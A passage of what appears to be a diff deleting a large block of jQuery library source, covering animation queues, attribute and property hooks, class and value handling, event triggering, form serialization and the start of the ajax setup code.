"string" ) { - gotoEnd = clearQueue; - clearQueue = type; - type = undefined; - } - if ( clearQueue ) { - this.queue( type || "fx", [] ); - } - - return this.each( function() { - var dequeue = true, - index = type != null && type + "queueHooks", - timers = jQuery.timers, - data = dataPriv.get( this ); - - if ( index ) { - if ( data[ index ] && data[ index ].stop ) { - stopQueue( data[ index ] ); - } - } else { - for ( index in data ) { - if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { - stopQueue( data[ index ] ); - } - } - } - - for ( index = timers.length; index--; ) { - if ( timers[ index ].elem === this && - ( type == null || timers[ index ].queue === type ) ) { - - timers[ index ].anim.stop( gotoEnd ); - dequeue = false; - timers.splice( index, 1 ); - } - } - - // Start the next in the queue if the last step wasn't forced. - // Timers currently will call their complete callbacks, which - // will dequeue but only if they were gotoEnd. - if ( dequeue || !gotoEnd ) { - jQuery.dequeue( this, type ); - } - } ); - }, - finish: function( type ) { - if ( type !== false ) { - type = type || "fx"; - } - return this.each( function() { - var index, - data = dataPriv.get( this ), - queue = data[ type + "queue" ], - hooks = data[ type + "queueHooks" ], - timers = jQuery.timers, - length = queue ? queue.length : 0; - - // Enable finishing flag on private data - data.finish = true; - - // Empty the queue first - jQuery.queue( this, type, [] ); - - if ( hooks && hooks.stop ) { - hooks.stop.call( this, true ); - } - - // Look for any active animations, and finish them - for ( index = timers.length; index--; ) { - if ( timers[ index ].elem === this && timers[ index ].queue === type ) { - timers[ index ].anim.stop( true ); - timers.splice( index, 1 ); - } - } - - // Look for any animations in the old queue and finish them - for ( index = 0; index < length; index++ ) { - if ( queue[ index ] && queue[ index ].finish ) { - queue[ index ].finish.call( this ); - } - } - - // Turn off finishing flag - delete data.finish; - } ); - } -} ); - -jQuery.each( [ "toggle", "show", "hide" ], function( _i, name ) { - var cssFn = jQuery.fn[ name ]; - jQuery.fn[ name ] = function( speed, easing, callback ) { - return speed == null || typeof speed === "boolean" ? - cssFn.apply( this, arguments ) : - this.animate( genFx( name, true ), speed, easing, callback ); - }; -} ); - -// Generate shortcuts for custom animations -jQuery.each( { - slideDown: genFx( "show" ), - slideUp: genFx( "hide" ), - slideToggle: genFx( "toggle" ), - fadeIn: { opacity: "show" }, - fadeOut: { opacity: "hide" }, - fadeToggle: { opacity: "toggle" } -}, function( name, props ) { - jQuery.fn[ name ] = function( speed, easing, callback ) { - return this.animate( props, speed, easing, callback ); - }; -} ); - -jQuery.timers = []; -jQuery.fx.tick = function() { - var timer, - i = 0, - timers = jQuery.timers; - - fxNow = Date.now(); - - for ( ; i < timers.length; i++ ) { - timer = timers[ i ]; - - // Run the timer and safely remove it when done (allowing for external removal) - if ( !timer() && timers[ i ] === timer ) { - timers.splice( i--, 1 ); - } - } - - if ( !timers.length ) { - jQuery.fx.stop(); - } - fxNow = undefined; -}; - -jQuery.fx.timer = function( timer ) { - jQuery.timers.push( timer ); - jQuery.fx.start(); -}; - -jQuery.fx.interval = 13; -jQuery.fx.start = function() { - if ( inProgress ) { - return; - } - - inProgress = true; - schedule(); -}; - -jQuery.fx.stop = function() { - inProgress = null; -}; - -jQuery.fx.speeds = { - slow: 600, - fast: 200, - - // Default speed - _default: 400 -}; - - -// Based off of the plugin by Clint Helfers, with permission. -jQuery.fn.delay = function( time, type ) { - time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; - type = type || "fx"; - - return this.queue( type, function( next, hooks ) { - var timeout = window.setTimeout( next, time ); - hooks.stop = function() { - window.clearTimeout( timeout ); - }; - } ); -}; - - -( function() { - var input = document.createElement( "input" ), - select = document.createElement( "select" ), - opt = select.appendChild( document.createElement( "option" ) ); - - input.type = "checkbox"; - - // Support: Android <=4.3 only - // Default value for a checkbox should be "on" - support.checkOn = input.value !== ""; - - // Support: IE <=11 only - // Must access selectedIndex to make default options select - support.optSelected = opt.selected; - - // Support: IE <=11 only - // An input loses its value after becoming a radio - input = document.createElement( "input" ); - input.value = "t"; - input.type = "radio"; - support.radioValue = input.value === "t"; -} )(); - - -var boolHook, - attrHandle = jQuery.expr.attrHandle; - -jQuery.fn.extend( { - attr: function( name, value ) { - return access( this, jQuery.attr, name, value, arguments.length > 1 ); - }, - - removeAttr: function( name ) { - return this.each( function() { - jQuery.removeAttr( this, name ); - } ); - } -} ); - -jQuery.extend( { - attr: function( elem, name, value ) { - var ret, hooks, - nType = elem.nodeType; - - // Don't get/set attributes on text, comment and attribute nodes - if ( nType === 3 || nType === 8 || nType === 2 ) { - return; - } - - // Fallback to prop when attributes are not supported - if ( typeof elem.getAttribute === "undefined" ) { - return jQuery.prop( elem, name, value ); - } - - // Attribute hooks are determined by the lowercase version - // Grab necessary hook if one is defined - if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { - hooks = jQuery.attrHooks[ name.toLowerCase() ] || - ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); - } - - if ( value !== undefined ) { - if ( value === null ) { - jQuery.removeAttr( elem, name ); - return; - } - - if ( hooks && "set" in hooks && - ( ret = hooks.set( elem, value, name ) ) !== undefined ) { - return ret; - } - - elem.setAttribute( name, value + "" ); - return value; - } - - if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { - return ret; - } - - ret = jQuery.find.attr( elem, name ); - - // Non-existent attributes return null, we normalize to undefined - return ret == null ? undefined : ret; - }, - - attrHooks: { - type: { - set: function( elem, value ) { - if ( !support.radioValue && value === "radio" && - nodeName( elem, "input" ) ) { - var val = elem.value; - elem.setAttribute( "type", value ); - if ( val ) { - elem.value = val; - } - return value; - } - } - } - }, - - removeAttr: function( elem, value ) { - var name, - i = 0, - - // Attribute names can contain non-HTML whitespace characters - // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 - attrNames = value && value.match( rnothtmlwhite ); - - if ( attrNames && elem.nodeType === 1 ) { - while ( ( name = attrNames[ i++ ] ) ) { - elem.removeAttribute( name ); - } - } - } -} ); - -// Hooks for boolean attributes -boolHook = { - set: function( elem, value, name ) { - if ( value === false ) { - - // Remove boolean attributes when set to false - jQuery.removeAttr( elem, name ); - } else { - elem.setAttribute( name, name ); - } - return name; - } -}; - -jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name ) { - var getter = attrHandle[ name ] || jQuery.find.attr; - - attrHandle[ name ] = function( elem, name, isXML ) { - var ret, handle, - lowercaseName = name.toLowerCase(); - - if ( !isXML ) { - - // Avoid an infinite loop by temporarily removing this function from the getter - handle = attrHandle[ lowercaseName ]; - attrHandle[ lowercaseName ] = ret; - ret = getter( elem, name, isXML ) != null ? - lowercaseName : - null; - attrHandle[ lowercaseName ] = handle; - } - return ret; - }; -} ); - - - - -var rfocusable = /^(?:input|select|textarea|button)$/i, - rclickable = /^(?:a|area)$/i; - -jQuery.fn.extend( { - prop: function( name, value ) { - return access( this, jQuery.prop, name, value, arguments.length > 1 ); - }, - - removeProp: function( name ) { - return this.each( function() { - delete this[ jQuery.propFix[ name ] || name ]; - } ); - } -} ); - -jQuery.extend( { - prop: function( elem, name, value ) { - var ret, hooks, - nType = elem.nodeType; - - // Don't get/set properties on text, comment and attribute nodes - if ( nType === 3 || nType === 8 || nType === 2 ) { - return; - } - - if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { - - // Fix name and attach hooks - name = jQuery.propFix[ name ] || name; - hooks = jQuery.propHooks[ name ]; - } - - if ( value !== undefined ) { - if ( hooks && "set" in hooks && - ( ret = hooks.set( elem, value, name ) ) !== undefined ) { - return ret; - } - - return ( elem[ name ] = value ); - } - - if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { - return ret; - } - - return elem[ name ]; - }, - - propHooks: { - tabIndex: { - get: function( elem ) { - - // Support: IE <=9 - 11 only - // elem.tabIndex doesn't always return the - // correct value when it hasn't been explicitly set - // Use proper attribute retrieval (trac-12072) - var tabindex = jQuery.find.attr( elem, "tabindex" ); - - if ( tabindex ) { - return parseInt( tabindex, 10 ); - } - - if ( - rfocusable.test( elem.nodeName ) || - rclickable.test( elem.nodeName ) && - elem.href - ) { - return 0; - } - - return -1; - } - } - }, - - propFix: { - "for": "htmlFor", - "class": "className" - } -} ); - -// Support: IE <=11 only -// Accessing the selectedIndex property -// forces the browser to respect setting selected -// on the option -// The getter ensures a default option is selected -// when in an optgroup -// eslint rule "no-unused-expressions" is disabled for this code -// since it considers such accessions noop -if ( !support.optSelected ) { - jQuery.propHooks.selected = { - get: function( elem ) { - - /* eslint no-unused-expressions: "off" */ - - var parent = elem.parentNode; - if ( parent && parent.parentNode ) { - parent.parentNode.selectedIndex; - } - return null; - }, - set: function( elem ) { - - /* eslint no-unused-expressions: "off" */ - - var parent = elem.parentNode; - if ( parent ) { - parent.selectedIndex; - - if ( parent.parentNode ) { - parent.parentNode.selectedIndex; - } - } - } - }; -} - -jQuery.each( [ - "tabIndex", - "readOnly", - "maxLength", - "cellSpacing", - "cellPadding", - "rowSpan", - "colSpan", - "useMap", - "frameBorder", - "contentEditable" -], function() { - jQuery.propFix[ this.toLowerCase() ] = this; -} ); - - - - - // Strip and collapse whitespace according to HTML spec - // https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace - function stripAndCollapse( value ) { - var tokens = value.match( rnothtmlwhite ) || []; - return tokens.join( " " ); - } - - -function getClass( elem ) { - return elem.getAttribute && elem.getAttribute( "class" ) || ""; -} - -function classesToArray( value ) { - if ( Array.isArray( value ) ) { - return value; - } - if ( typeof value === "string" ) { - return value.match( rnothtmlwhite ) || []; - } - return []; -} - -jQuery.fn.extend( { - addClass: function( value ) { - var classNames, cur, curValue, className, i, finalValue; - - if ( isFunction( value ) ) { - return this.each( function( j ) { - jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); - } ); - } - - classNames = classesToArray( value ); - - if ( classNames.length ) { - return this.each( function() { - curValue = getClass( this ); - cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); - - if ( cur ) { - for ( i = 0; i < classNames.length; i++ ) { - className = classNames[ i ]; - if ( cur.indexOf( " " + className + " " ) < 0 ) { - cur += className + " "; - } - } - - // Only assign if different to avoid unneeded rendering. - finalValue = stripAndCollapse( cur ); - if ( curValue !== finalValue ) { - this.setAttribute( "class", finalValue ); - } - } - } ); - } - - return this; - }, - - removeClass: function( value ) { - var classNames, cur, curValue, className, i, finalValue; - - if ( isFunction( value ) ) { - return this.each( function( j ) { - jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); - } ); - } - - if ( !arguments.length ) { - return this.attr( "class", "" ); - } - - classNames = classesToArray( value ); - - if ( classNames.length ) { - return this.each( function() { - curValue = getClass( this ); - - // This expression is here for better compressibility (see addClass) - cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); - - if ( cur ) { - for ( i = 0; i < classNames.length; i++ ) { - className = classNames[ i ]; - - // Remove *all* instances - while ( cur.indexOf( " " + className + " " ) > -1 ) { - cur = cur.replace( " " + className + " ", " " ); - } - } - - // Only assign if different to avoid unneeded rendering. - finalValue = stripAndCollapse( cur ); - if ( curValue !== finalValue ) { - this.setAttribute( "class", finalValue ); - } - } - } ); - } - - return this; - }, - - toggleClass: function( value, stateVal ) { - var classNames, className, i, self, - type = typeof value, - isValidValue = type === "string" || Array.isArray( value ); - - if ( isFunction( value ) ) { - return this.each( function( i ) { - jQuery( this ).toggleClass( - value.call( this, i, getClass( this ), stateVal ), - stateVal - ); - } ); - } - - if ( typeof stateVal === "boolean" && isValidValue ) { - return stateVal ? this.addClass( value ) : this.removeClass( value ); - } - - classNames = classesToArray( value ); - - return this.each( function() { - if ( isValidValue ) { - - // Toggle individual class names - self = jQuery( this ); - - for ( i = 0; i < classNames.length; i++ ) { - className = classNames[ i ]; - - // Check each className given, space separated list - if ( self.hasClass( className ) ) { - self.removeClass( className ); - } else { - self.addClass( className ); - } - } - - // Toggle whole class name - } else if ( value === undefined || type === "boolean" ) { - className = getClass( this ); - if ( className ) { - - // Store className if set - dataPriv.set( this, "__className__", className ); - } - - // If the element has a class name or if we're passed `false`, - // then remove the whole classname (if there was one, the above saved it). - // Otherwise bring back whatever was previously saved (if anything), - // falling back to the empty string if nothing was stored. - if ( this.setAttribute ) { - this.setAttribute( "class", - className || value === false ? - "" : - dataPriv.get( this, "__className__" ) || "" - ); - } - } - } ); - }, - - hasClass: function( selector ) { - var className, elem, - i = 0; - - className = " " + selector + " "; - while ( ( elem = this[ i++ ] ) ) { - if ( elem.nodeType === 1 && - ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) { - return true; - } - } - - return false; - } -} ); - - - - -var rreturn = /\r/g; - -jQuery.fn.extend( { - val: function( value ) { - var hooks, ret, valueIsFunction, - elem = this[ 0 ]; - - if ( !arguments.length ) { - if ( elem ) { - hooks = jQuery.valHooks[ elem.type ] || - jQuery.valHooks[ elem.nodeName.toLowerCase() ]; - - if ( hooks && - "get" in hooks && - ( ret = hooks.get( elem, "value" ) ) !== undefined - ) { - return ret; - } - - ret = elem.value; - - // Handle most common string cases - if ( typeof ret === "string" ) { - return ret.replace( rreturn, "" ); - } - - // Handle cases where value is null/undef or number - return ret == null ? "" : ret; - } - - return; - } - - valueIsFunction = isFunction( value ); - - return this.each( function( i ) { - var val; - - if ( this.nodeType !== 1 ) { - return; - } - - if ( valueIsFunction ) { - val = value.call( this, i, jQuery( this ).val() ); - } else { - val = value; - } - - // Treat null/undefined as ""; convert numbers to string - if ( val == null ) { - val = ""; - - } else if ( typeof val === "number" ) { - val += ""; - - } else if ( Array.isArray( val ) ) { - val = jQuery.map( val, function( value ) { - return value == null ? "" : value + ""; - } ); - } - - hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; - - // If set returns undefined, fall back to normal setting - if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { - this.value = val; - } - } ); - } -} ); - -jQuery.extend( { - valHooks: { - option: { - get: function( elem ) { - - var val = jQuery.find.attr( elem, "value" ); - return val != null ? - val : - - // Support: IE <=10 - 11 only - // option.text throws exceptions (trac-14686, trac-14858) - // Strip and collapse whitespace - // https://html.spec.whatwg.org/#strip-and-collapse-whitespace - stripAndCollapse( jQuery.text( elem ) ); - } - }, - select: { - get: function( elem ) { - var value, option, i, - options = elem.options, - index = elem.selectedIndex, - one = elem.type === "select-one", - values = one ? null : [], - max = one ? index + 1 : options.length; - - if ( index < 0 ) { - i = max; - - } else { - i = one ? index : 0; - } - - // Loop through all the selected options - for ( ; i < max; i++ ) { - option = options[ i ]; - - // Support: IE <=9 only - // IE8-9 doesn't update selected after form reset (trac-2551) - if ( ( option.selected || i === index ) && - - // Don't return options that are disabled or in a disabled optgroup - !option.disabled && - ( !option.parentNode.disabled || - !nodeName( option.parentNode, "optgroup" ) ) ) { - - // Get the specific value for the option - value = jQuery( option ).val(); - - // We don't need an array for one selects - if ( one ) { - return value; - } - - // Multi-Selects return an array - values.push( value ); - } - } - - return values; - }, - - set: function( elem, value ) { - var optionSet, option, - options = elem.options, - values = jQuery.makeArray( value ), - i = options.length; - - while ( i-- ) { - option = options[ i ]; - - /* eslint-disable no-cond-assign */ - - if ( option.selected = - jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 - ) { - optionSet = true; - } - - /* eslint-enable no-cond-assign */ - } - - // Force browsers to behave consistently when non-matching value is set - if ( !optionSet ) { - elem.selectedIndex = -1; - } - return values; - } - } - } -} ); - -// Radios and checkboxes getter/setter -jQuery.each( [ "radio", "checkbox" ], function() { - jQuery.valHooks[ this ] = { - set: function( elem, value ) { - if ( Array.isArray( value ) ) { - return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); - } - } - }; - if ( !support.checkOn ) { - jQuery.valHooks[ this ].get = function( elem ) { - return elem.getAttribute( "value" ) === null ? "on" : elem.value; - }; - } -} ); - - - - -// Return jQuery for attributes-only inclusion -var location = window.location; - -var nonce = { guid: Date.now() }; - -var rquery = ( /\?/ ); - - - -// Cross-browser xml parsing -jQuery.parseXML = function( data ) { - var xml, parserErrorElem; - if ( !data || typeof data !== "string" ) { - return null; - } - - // Support: IE 9 - 11 only - // IE throws on parseFromString with invalid input. - try { - xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); - } catch ( e ) {} - - parserErrorElem = xml && xml.getElementsByTagName( "parsererror" )[ 0 ]; - if ( !xml || parserErrorElem ) { - jQuery.error( "Invalid XML: " + ( - parserErrorElem ? - jQuery.map( parserErrorElem.childNodes, function( el ) { - return el.textContent; - } ).join( "\n" ) : - data - ) ); - } - return xml; -}; - - -var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, - stopPropagationCallback = function( e ) { - e.stopPropagation(); - }; - -jQuery.extend( jQuery.event, { - - trigger: function( event, data, elem, onlyHandlers ) { - - var i, cur, tmp, bubbleType, ontype, handle, special, lastElement, - eventPath = [ elem || document ], - type = hasOwn.call( event, "type" ) ? event.type : event, - namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; - - cur = lastElement = tmp = elem = elem || document; - - // Don't do events on text and comment nodes - if ( elem.nodeType === 3 || elem.nodeType === 8 ) { - return; - } - - // focus/blur morphs to focusin/out; ensure we're not firing them right now - if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { - return; - } - - if ( type.indexOf( "." ) > -1 ) { - - // Namespaced trigger; create a regexp to match event type in handle() - namespaces = type.split( "." ); - type = namespaces.shift(); - namespaces.sort(); - } - ontype = type.indexOf( ":" ) < 0 && "on" + type; - - // Caller can pass in a jQuery.Event object, Object, or just an event type string - event = event[ jQuery.expando ] ? - event : - new jQuery.Event( type, typeof event === "object" && event ); - - // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) - event.isTrigger = onlyHandlers ? 2 : 3; - event.namespace = namespaces.join( "." ); - event.rnamespace = event.namespace ? - new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : - null; - - // Clean up the event in case it is being reused - event.result = undefined; - if ( !event.target ) { - event.target = elem; - } - - // Clone any incoming data and prepend the event, creating the handler arg list - data = data == null ? - [ event ] : - jQuery.makeArray( data, [ event ] ); - - // Allow special events to draw outside the lines - special = jQuery.event.special[ type ] || {}; - if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { - return; - } - - // Determine event propagation path in advance, per W3C events spec (trac-9951) - // Bubble up to document, then to window; watch for a global ownerDocument var (trac-9724) - if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) { - - bubbleType = special.delegateType || type; - if ( !rfocusMorph.test( bubbleType + type ) ) { - cur = cur.parentNode; - } - for ( ; cur; cur = cur.parentNode ) { - eventPath.push( cur ); - tmp = cur; - } - - // Only add window if we got to document (e.g., not plain obj or detached DOM) - if ( tmp === ( elem.ownerDocument || document ) ) { - eventPath.push( tmp.defaultView || tmp.parentWindow || window ); - } - } - - // Fire handlers on the event path - i = 0; - while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { - lastElement = cur; - event.type = i > 1 ? - bubbleType : - special.bindType || type; - - // jQuery handler - handle = ( dataPriv.get( cur, "events" ) || Object.create( null ) )[ event.type ] && - dataPriv.get( cur, "handle" ); - if ( handle ) { - handle.apply( cur, data ); - } - - // Native handler - handle = ontype && cur[ ontype ]; - if ( handle && handle.apply && acceptData( cur ) ) { - event.result = handle.apply( cur, data ); - if ( event.result === false ) { - event.preventDefault(); - } - } - } - event.type = type; - - // If nobody prevented the default action, do it now - if ( !onlyHandlers && !event.isDefaultPrevented() ) { - - if ( ( !special._default || - special._default.apply( eventPath.pop(), data ) === false ) && - acceptData( elem ) ) { - - // Call a native DOM method on the target with the same name as the event. - // Don't do default actions on window, that's where global variables be (trac-6170) - if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) { - - // Don't re-trigger an onFOO event when we call its FOO() method - tmp = elem[ ontype ]; - - if ( tmp ) { - elem[ ontype ] = null; - } - - // Prevent re-triggering of the same event, since we already bubbled it above - jQuery.event.triggered = type; - - if ( event.isPropagationStopped() ) { - lastElement.addEventListener( type, stopPropagationCallback ); - } - - elem[ type ](); - - if ( event.isPropagationStopped() ) { - lastElement.removeEventListener( type, stopPropagationCallback ); - } - - jQuery.event.triggered = undefined; - - if ( tmp ) { - elem[ ontype ] = tmp; - } - } - } - } - - return event.result; - }, - - // Piggyback on a donor event to simulate a different one - // Used only for `focus(in | out)` events - simulate: function( type, elem, event ) { - var e = jQuery.extend( - new jQuery.Event(), - event, - { - type: type, - isSimulated: true - } - ); - - jQuery.event.trigger( e, null, elem ); - } - -} ); - -jQuery.fn.extend( { - - trigger: function( type, data ) { - return this.each( function() { - jQuery.event.trigger( type, data, this ); - } ); - }, - triggerHandler: function( type, data ) { - var elem = this[ 0 ]; - if ( elem ) { - return jQuery.event.trigger( type, data, elem, true ); - } - } -} ); - - -var - rbracket = /\[\]$/, - rCRLF = /\r?\n/g, - rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, - rsubmittable = /^(?:input|select|textarea|keygen)/i; - -function buildParams( prefix, obj, traditional, add ) { - var name; - - if ( Array.isArray( obj ) ) { - - // Serialize array item. - jQuery.each( obj, function( i, v ) { - if ( traditional || rbracket.test( prefix ) ) { - - // Treat each array item as a scalar. - add( prefix, v ); - - } else { - - // Item is non-scalar (array or object), encode its numeric index. - buildParams( - prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", - v, - traditional, - add - ); - } - } ); - - } else if ( !traditional && toType( obj ) === "object" ) { - - // Serialize object item. - for ( name in obj ) { - buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); - } - - } else { - - // Serialize scalar item. - add( prefix, obj ); - } -} - -// Serialize an array of form elements or a set of -// key/values into a query string -jQuery.param = function( a, traditional ) { - var prefix, - s = [], - add = function( key, valueOrFunction ) { - - // If value is a function, invoke it and use its return value - var value = isFunction( valueOrFunction ) ? - valueOrFunction() : - valueOrFunction; - - s[ s.length ] = encodeURIComponent( key ) + "=" + - encodeURIComponent( value == null ? "" : value ); - }; - - if ( a == null ) { - return ""; - } - - // If an array was passed in, assume that it is an array of form elements. - if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { - - // Serialize the form elements - jQuery.each( a, function() { - add( this.name, this.value ); - } ); - - } else { - - // If traditional, encode the "old" way (the way 1.3.2 or older - // did it), otherwise encode params recursively. - for ( prefix in a ) { - buildParams( prefix, a[ prefix ], traditional, add ); - } - } - - // Return the resulting serialization - return s.join( "&" ); -}; - -jQuery.fn.extend( { - serialize: function() { - return jQuery.param( this.serializeArray() ); - }, - serializeArray: function() { - return this.map( function() { - - // Can add propHook for "elements" to filter or add form elements - var elements = jQuery.prop( this, "elements" ); - return elements ? jQuery.makeArray( elements ) : this; - } ).filter( function() { - var type = this.type; - - // Use .is( ":disabled" ) so that fieldset[disabled] works - return this.name && !jQuery( this ).is( ":disabled" ) && - rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && - ( this.checked || !rcheckableType.test( type ) ); - } ).map( function( _i, elem ) { - var val = jQuery( this ).val(); - - if ( val == null ) { - return null; - } - - if ( Array.isArray( val ) ) { - return jQuery.map( val, function( val ) { - return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; - } ); - } - - return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; - } ).get(); - } -} ); - - -var - r20 = /%20/g, - rhash = /#.*$/, - rantiCache = /([?&])_=[^&]*/, - rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, - - // trac-7653, trac-8125, trac-8152: local protocol detection - rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, - rnoContent = /^(?:GET|HEAD)$/, - rprotocol = /^\/\//, - - /* Prefilters - * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) - * 2) These are called: - * - BEFORE asking for a transport - * - AFTER param serialization (s.data is a string if s.processData is true) - * 3) key is the dataType - * 4) the catchall symbol "*" can be used - * 5) execution will start with transport dataType and THEN continue down to "*" if needed - */ - prefilters = {}, - - /* Transports bindings - * 1) key is the dataType - * 2) the catchall symbol "*" can be used - * 3) selection will start with transport dataType and THEN go to "*" if needed - */ - transports = {}, - - // Avoid comment-prolog char sequence (trac-10098); must appease lint and evade compression - allTypes = "*/".concat( "*" ), - - // Anchor tag for parsing the document origin - originAnchor = document.createElement( "a" ); - -originAnchor.href = location.href; - -// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport -function addToPrefiltersOrTransports( structure ) { - - // dataTypeExpression is optional and defaults to "*" - return function( dataTypeExpression, func ) { - - if ( typeof dataTypeExpression !== "string" ) { - func = dataTypeExpression; - dataTypeExpression = "*"; - } - - var dataType, - i = 0, - dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || []; - - if ( isFunction( func ) ) { - - // For each dataType in the dataTypeExpression - while ( ( dataType = dataTypes[ i++ ] ) ) { - - // Prepend if requested - if ( dataType[ 0 ] === "+" ) { - dataType = dataType.slice( 1 ) || "*"; - ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); - - // Otherwise append - } else { - ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); - } - } - } - }; -} - -// Base inspection function for prefilters and transports -function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { - - var inspected = {}, - seekingTransport = ( structure === transports ); - - function inspect( dataType ) { - var selected; - inspected[ dataType ] = true; - jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { - var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); - if ( typeof dataTypeOrTransport === "string" && - !seekingTransport && !inspected[ dataTypeOrTransport ] ) { - - options.dataTypes.unshift( dataTypeOrTransport ); - inspect( dataTypeOrTransport ); - return false; - } else if ( seekingTransport ) { - return !( selected = dataTypeOrTransport ); - } - } ); - return selected; - } - - return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); -} - -// A special extend for ajax options -// that takes "flat" options (not to be deep extended) -// Fixes trac-9887 -function ajaxExtend( target, src ) { - var key, deep, - flatOptions = jQuery.ajaxSettings.flatOptions || {}; - - for ( key in src ) { - if ( src[ key ] !== undefined ) { - ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; - } - } - if ( deep ) { - jQuery.extend( true, target, deep ); - } - - return target; -} - -/* Handles responses to an ajax request: - * - finds the right dataType (mediates between content-type and expected dataType) - * - returns the corresponding response - */ -function ajaxHandleResponses( s, jqXHR, responses ) { - - var ct, type, finalDataType, firstDataType, - contents = s.contents, - dataTypes = s.dataTypes; - - // Remove auto dataType and get content-type in the process - while ( dataTypes[ 0 ] === "*" ) { - dataTypes.shift(); - if ( ct === undefined ) { - ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); - } - } - - // Check if we're dealing with a known content-type - if ( ct ) { - for ( type in contents ) { - if ( contents[ type ] && contents[ type ].test( ct ) ) { - dataTypes.unshift( type ); - break; - } - } - } - - // Check to see if we have a response for the expected dataType - if ( dataTypes[ 0 ] in responses ) { - finalDataType = dataTypes[ 0 ]; - } else { - - // Try convertible dataTypes - for ( type in responses ) { - if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { - finalDataType = type; - break; - } - if ( !firstDataType ) { - firstDataType = type; - } - } - - // Or just use first one - finalDataType = finalDataType || firstDataType; - } - - // If we found a dataType - // We add the dataType to the list if needed - // and return the corresponding response - if ( finalDataType ) { - if ( finalDataType !== dataTypes[ 0 ] ) { - dataTypes.unshift( finalDataType ); - } - return responses[ finalDataType ]; - } -} - -/* Chain conversions given the request and the original response - * Also sets the responseXXX fields on the jqXHR instance - */ -function ajaxConvert( s, response, jqXHR, isSuccess ) { - var conv2, current, conv, tmp, prev, - converters = {}, - - // Work with a copy of dataTypes in case we need to modify it for conversion - dataTypes = s.dataTypes.slice(); - - // Create converters map with lowercased keys - if ( dataTypes[ 1 ] ) { - for ( conv in s.converters ) { - converters[ conv.toLowerCase() ] = s.converters[ conv ]; - } - } - - current = dataTypes.shift(); - - // Convert to each sequential dataType - while ( current ) { - - if ( s.responseFields[ current ] ) { - jqXHR[ s.responseFields[ current ] ] = response; - } - - // Apply the dataFilter if provided - if ( !prev && isSuccess && s.dataFilter ) { - response = s.dataFilter( response, s.dataType ); - } - - prev = current; - current = dataTypes.shift(); - - if ( current ) { - - // There's only work to do if current dataType is non-auto - if ( current === "*" ) { - - current = prev; - - // Convert response if prev dataType is non-auto and differs from current - } else if ( prev !== "*" && prev !== current ) { - - // Seek a direct converter - conv = converters[ prev + " " + current ] || converters[ "* " + current ]; - - // If none found, seek a pair - if ( !conv ) { - for ( conv2 in converters ) { - - // If conv2 outputs current - tmp = conv2.split( " " ); - if ( tmp[ 1 ] === current ) { - - // If prev can be converted to accepted input - conv = converters[ prev + " " + tmp[ 0 ] ] || - converters[ "* " + tmp[ 0 ] ]; - if ( conv ) { - - // Condense equivalence converters - if ( conv === true ) { - conv = converters[ conv2 ]; - - // Otherwise, insert the intermediate dataType - } else if ( converters[ conv2 ] !== true ) { - current = tmp[ 0 ]; - dataTypes.unshift( tmp[ 1 ] ); - } - break; - } - } - } - } - - // Apply converter (if not an equivalence) - if ( conv !== true ) { - - // Unless errors are allowed to bubble, catch and return them - if ( conv && s.throws ) { - response = conv( response ); - } else { - try { - response = conv( response ); - } catch ( e ) { - return { - state: "parsererror", - error: conv ? e : "No conversion from " + prev + " to " + current - }; - } - } - } - } - } - } - - return { state: "success", data: response }; -} - -jQuery.extend( { - - // Counter for holding the number of active queries - active: 0, - - // Last-Modified header cache for next request - lastModified: {}, - etag: {}, - - ajaxSettings: { - url: 